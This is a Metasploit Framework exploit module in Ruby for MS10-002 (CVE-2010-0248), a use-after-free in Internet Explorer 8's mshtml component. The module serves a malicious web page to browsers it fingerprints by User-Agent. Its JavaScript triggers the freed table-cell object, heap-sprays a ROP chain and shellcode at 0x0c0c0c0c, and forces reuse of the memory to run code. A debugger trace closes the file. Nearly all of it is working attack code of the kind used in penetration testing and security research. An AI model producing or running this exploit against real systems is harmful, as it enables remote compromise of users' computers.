##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb

	def initialize(info={})
		super(update_info(info,
			'Name'           => "MS10-002 Internet Explorer Object Memory Use-After-Free",
			'Description'    => %q{
					This module exploits a vulnerability found in Internet Explorer's
				mshtml component.  Due to the way IE handles objects in memory, it is
				possible to cause a pointer in CTableRowCellsCollectionCacheItem::GetNext
				to be used even after it gets freed, therefore allowing remote code
				execution under the context of the user.

					This particular vulnerability was also one of 2012's Pwn2Own
				challenges, and was later explained by Peter Vreugdenhil with exploitation
				details.  Instead of Peter's method, this module uses heap spraying like
				the 99% to store a specially crafted memory layout before re-using the
				freed memory.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Peter Vreugdenhil', # Vulnerability discovery and exploit writeup
					'juan vazquez',      # Metasploit
					'sinn3r'             # Metasploit
				],
			'References'     =>
				[
					[ 'MSB', 'MS10-002'],
					[ 'CVE', '2010-0248' ],
					[ 'OSVDB', '61914'],
					[ 'URL', 'http://dvlabs.tippingpoint.com/blog/2012/03/15/pwn2own-2012-challenge-writeup' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-014/']
				],
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
					'DisableNops' => true
				},
			'DefaultOptions' =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 }, ],
					[ 'IE 8 on Windows 7 SP0',  { 'Rop' => :jre,    'Offset' => '0x5f4', 'Ret' => 0x7c348b05 }  ]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jan 21 2010",
			'DefaultTarget'  => 0))
	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
			return targets[1]  #IE 8 on Windows XP SP3
		elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
			return targets[2]  #IE 8 on Windows 7 SP1 with JRE
		else
			return nil
		end
	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		my_target = get_target(agent)

		# Avoid the attack if the victim doesn't have the same setup we're targeting
		if my_target.nil?
			print_error("Browser not supported: #{agent.to_s}")
			send_not_found(cli)
			return
		end

		print_status("Target selected: #{my_target.name}")

		js_code = build_javascript(my_target)

		html = %Q|
<html>
	<head>
	<script>
#{js_code}
		</script>
	</head>
	<body onLoad="window.setTimeout(Start,100);" id="bodyid">

	<table id="tableid">
		<tr><th id="thid"></th></tr>
		<tr id="trid"><td id="tdid"></td></tr>
	</table>

	</body>
</html>
		|

		print_status("Sending HTML")
		send_response(cli, html, {'Content-Type'=>'text/html'})

	end

	def build_javascript(my_target)

		p = get_payload(my_target)
		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

		# The exploit will try to take up the freed memory
		# with a fake item before the reuse
		fake_item = [
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			0x0c0c003c, # pointer to c_table_cell
			junk,
			junk,
			junk,
			0x0c0c0050, # pointer to c_cache_item
			junk,
			junk,
		].pack("V*")
		fake_item_js = Rex::Text.to_unescape(fake_item)

		# Here start the crafted layout of the memory
		# which will be sprayed to get code execution
		# IE 8 => Spray be sprayed into 0c0c0024
		memory_layout = [
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			0x0c0c0040, # ----- points to 0x0c0c0040
			0x0c0c0c0c, # <---|  0x0c0c0c0c + 0x70: 0x0c0c0c7c will store the stackpivot with eax pointing to 0c0c0c0c
			junk,
			junk,
			0x00000000, # Allows to bypass CTableCell::GetAAcolSpan
			junk,       # Stored at 0c0c0c50
			junk,
			junk,
			0x0c0c0078,
			junk,
			junk,
			junk,
			junk,
			junk,
			0x0c0c0c50, # <- Stored at 0c0c0074 (0x0c0c0078 - 4)
			0x00000001  # Stored at 0c0c0078 (0c0c0050+28) # Allows to exit of CTableRowCellsCollectionCacheItem::GetNext faster
		].pack("V*")
		memory_layout_js = Rex::Text.to_unescape(memory_layout)

		# Steps:
		# 1. Force the free.
		# 2. Try to reuse the freed memory with a fake item.
		# The fake item store crafted pointers to the
		# memory which will be sprayed on step 3.
		# 3. Heap Spray: Shellcode + crafted memory layout to
		# get execution flow when the memory freed in step 1
		# is reused in step 4.
		# 4. Force the memory reuse.
		spray = <<-JS
function Start() {

	var fake_items = unescape("#{fake_item_js}");
	while (fake_items.length < 0x1000) fake_items+= fake_items;
	var fake_item = fake_items.substring(0, (96-6)/2);

	var code = unescape("#{js_code}");
	var memory_layout = unescape("#{memory_layout_js}")
	var nops = unescape("#{js_nops}");
	while (nops.length < 0x80000) nops += nops;
	var offset = nops.substring(0, #{my_target['Offset']} - memory_layout.length);
	var shellcode = memory_layout + offset + code + nops.substring(0, 0x800-#{my_target['Offset']}-code.length);
	while (shellcode.length < 0x40000) shellcode += shellcode;
	var block_shell = shellcode.substring(0, (0x80000-6)/2);

	var heap = new heapLib.ie(0x20000);

	var TableClone = document.getElementById('tableid').cloneNode(1);
	var TableCellUrns = TableClone.cells.urns('a');
	var bla = TableClone.cells.item(1);
	var TableCellUrnsTags = TableCellUrns.tags('a');
	TableClone.outerText = 'a';

	heap.gc();
	for(i = 0; i < 30; i++) {
		heap.alloc(fake_item);
	}

	for (var i=1; i < 0x1C2; i++) {
		heap.alloc(block_shell);
	}

	Result = TableClone.cells;
	Result = TableCellUrnsTags.item(1);

}
		JS

		spray = heaplib(spray, {:noobfu => true})
		return spray
	end

	def junk(n=4)
		return rand_text_alpha(n).unpack("V").first
	end

	# ROP chain + shellcode will be sprayed at 0x0c0c0c0c
	def get_payload(t)
		p  = make_nops(46)
		p << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x6").encode_string # instr length: 2 bytes
		p << [t.ret].pack("V") # Stack Pivot
		p << payload.encoded

		case t['Rop']
		when :msvcrt
			rop_payload = generate_rop_payload('msvcrt', p, {'target'=>'xp'})
		else
			rop_payload = generate_rop_payload('java', p)
		end

		return rop_payload
	end

end

=begin
(694.cc0): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000100 ecx=0241f518 edx=7c90e4f4 esi=7c90d6d0 edi=ffffffff
eip=7c8022cf esp=0241f534 ebp=0241f548 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
kernel32!WriteProcessMemory+0x6d:
7c8022cf cc              int     3
=end
